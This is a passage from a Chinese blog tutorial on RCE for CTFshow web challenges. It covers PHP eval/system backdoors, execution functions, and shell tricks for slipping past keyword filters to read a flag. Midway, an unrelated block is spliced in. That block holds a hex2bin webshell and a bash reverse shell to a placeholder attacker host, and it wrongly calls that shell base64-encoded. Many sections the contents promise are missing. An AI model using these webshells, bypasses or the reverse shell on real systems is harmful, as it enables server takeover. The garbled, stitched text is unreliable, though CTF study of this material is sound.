WEB攻防-RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘

目录

一、什么是 RCE

二、命令执行和代码执行

三、常见的代码/命令执行函数

3.1  PHP

3.2  Python

3.3  Java

四、RCE利用&绕过&异或&回显

4.1  关键字过滤(flag)绕过方法

 4.1.1  通配符绕过

4.1.2  转义符号绕过

4.1.3   空变量插入绕过

4.1.4  分号拼接变量

4.1.5  反引号命令替换

4.1.6  编码绕过技巧

4.4.7  组合绕过(文件创建+命令重组)

4.7.8  异或无符号(过滤0-9a-zA-Z)

4.7.9  过滤函数关键字绕过

1. 内联执行绕过

2. 替代命令读取文件 

3. 报错泄露内容

4.7.10  过滤空格绕过

1. URL编码绕过

2. 变量替换

3. 大括号扩展

 4.1.12  无回显利用

1. 写文件后访问

2. 对外请求泄露数据

 五、CTFSHOW题目(部分)

5.1  WEB入门第29题

5.2  WEB入门第30题

5.3  WEB入门第31题

5.4  WEB入门第32题

5.5  WEB入门第33题

5.6  WEB入门第34题

5.7  WEB入门第35题

5.8  WEB入门第36题

5.9  WEB入门第37题

5.10  WEB入门第38题

5.11  WEB入门第39题


一、什么是 RCE

RCE,全称 Remote Code Execution,也就是远程代码执行。简单来说,它是一种非常危险的安全漏洞。正常情况下,我们访问一个网站或者使用某个应用程序,只能按照开发者设定好的功能来操作。但要是存在 RCE 漏洞,攻击者就能打破这种限制,在目标服务器上执行他们自己编写的代码。

二、命令执行和代码执行

命令执行和代码执行都是 RCE 漏洞的表现形式。代码执行和命令执行有点像,但又不完全一样。命令执行主要是执行操作系统的命令,而代码执行则是可以执行各种编程语言编写的代码。

通过简单的案例描述两者区别,假设如下代码,接受一个参数c,没任何的过滤,且使用代码执行函数执行接收的参数c,只要控制参数c传入恶意代码,就产生了代码执行的漏洞

<?php
$code = $_GET['c'];
eval($code);

 同样的假设如下代码,接受一个参数c,没任何的过滤,且使用命令执行函数执行接收的参数c,只要控制参数c传入恶意代码,就产生了代码执行的漏洞

<?php
$cmd = $_GET['c'];
system($cmd);

 命令执行和代码执行是可以相互利用的,即执行命令去执行代码,执行代码去执行命令都是可以的

在命令行通过php环境变量执行代码

回到 第一个小例子,可以通过代码执行去操作cmd,其实想后门文件经常看到就是这种eval的命令执行后门

<?php
$code = $_GET['c'];
eval($code);

 c参数传如命令执行的代码system

三、常见的代码/命令执行函数


3.1  PHP

PHP代码执行函数:

eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()、等

PHP命令执行函数:

system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()、等

3.2  Python

eval exec subprocess os.system commands

3.3  Java

Runtime.exec()方法,ProcessBuilder

还有反射机制,并且有各种基于反射机制的表达式引擎,如: OGNL、SpEL、MVEL等.

四、RCE利用&绕过&异或&回显

4.1  关键字过滤(flag)绕过方法

 4.1.1  通配符绕过

通配符可以匹配一个或多个字符,借此绕过关键字过滤。

cat fl*       # 匹配以 "fl" 开头的文件(如 flag、fl.txt)
cat ?la*      # "?" 匹配单个字符(如 f?ag → flag)
  • Shell通配符规则

    • *:匹配任意长度字符串(包括空)。

    • ?:匹配单个字符。

  • 适用场景
    已知文件名前缀(如 fl),但不确定完整名称时。
    字符过滤,如过滤flag 

4.1.2  转义符号绕过

利用转义符号让系统将敏感关键字的部分字符当作普通字符处理,从而绕过过滤。

ca\t /fl\ag    # 实际执行 cat /flag

Shell解析机制

  • 反斜杠 \ 在Shell中有两种作用:

    1. 转义特殊字符:如 \$ 转义为 $\ 转义空格。

    2. 普通字符:若 \ 后跟随非特殊字符(如 ta),则 \ 被直接忽略。

  • 验证命令

echo ca\t /fl\ag    # 输出:cat /flag

关键细节

  • \t 的误解
    在Shell命令行中,\t 不会被解析为Tab字符(除非使用 echo -e 或编程语言处理)。
    例如:

    echo -e "ca\t /fl\ag"   # 输出:ca      /flag(含Tab)

    路径中的 /
    / 是路径分隔符,不会被转义。若命令中写成 /fl\ag,实际路径仍为 /flag\ 被忽略)。

cat fl''ag         # 单引号拼接(fl''ag → flag)  
  • fl''ag 被Shell解析为 flag(单引号内无操作)。

4.1.3   空变量插入绕过

ca$*t fl$*ag    # 等价于 cat flag($* 为空)
ca$@t f${x}lag  # 等价于 cat flag($@ 或 ${x} 为空)
  • 变量替换规则

    • $*$@ 表示所有位置参数,若未定义则为空。

    • ${x} 表示变量 x 的值,若未定义则为空。

  • 绕过逻辑
    通过插入空变量将敏感关键字(如 cat)拆分为 ca + t,绕过正则检测(如 /\bcat\b/)。

4.1.4  分号拼接变量

a=fl;b=ag;cat$IFS$a$b   # 实际执行 cat flag
  • 关键点

    • $IFS:Shell内部字段分隔符,默认为空格(可绕过空格过滤)。

    • 分号 ; 分隔多个命令,$a$b 拼接为 flag

  • 变体

    a=c;b=at;c=fl;d=ag;$a$b $IFS$c$d  # 执行 cat flag
### 命令执行漏洞的安全过滤机制绕过方法 在讨论如何绕过命令执行漏洞的安全过滤机制之前,需了解其基本原理。命令执行漏洞通常涉及 Web 应用程序调用了能够执行系统命令的函数[^4],例如 `system()` 或 `exec()` 等。为了防止此类漏洞被利用,许多安全防护设备会尝试识别并阻止潜在危险的操作。 #### 绕过的常见方式 以下是几种可能用于绕过命令执行漏洞过滤的技术: 1. **编码转换** 攻击者可以通过对输入数据进行编码来规避简单的字符串匹配规则。例如,将明文命令替换为其十六进制表示形式,并通过解码函数将其还原为可执行命令[^3]。 ```php &lt;?php echo system(hex2bin($_POST[&quot;command&quot;])); ?&gt; ``` 2. **分段注入** 将完整的恶意指令拆分为多个部分,在运行时重新组合成最终的有效负载。这种方法可以避开基于固定模式签名的检测引擎。 3. **替代字符集** 使用不同的字符集或转义序列表达相同含义的内容也可能帮助突破某些防御层。比如采用 Unicode 编码或其他国际化支持下的特殊符号代替标准 ASCII 字符串。 4. **逻辑混淆** 利用条件语句或者循环结构增加脚本复杂度,使得静态分析难以判断实际行为路径。 5. **动态生成payloads** 创建自定义算法实时生产变种版本的 exploit payloads ,从而减少重复性和提高不可预测性。 需要注意的是,尽管存在这些技巧可以帮助研究者测试系统的健壮程度,但在真实环境中实施任何非法活动均属违法行为,应严格遵守法律法规及道德准则。 ```bash # 示例:使用base64加密后的反弹shell payload bash -c &#39;exec bash -i &amp;&gt;/dev/tcp/attacker_ip/attacker_port &lt;&amp;1&#39; ``` 此代码片段展示了如何构建一个经过简单 base64 加密处理之后再解密执行的基础 Bash 反弹 Shell Payload 。它隐藏了原始意图直到被执行那一刻才会显现出来。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

癞皮狗不赖皮

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值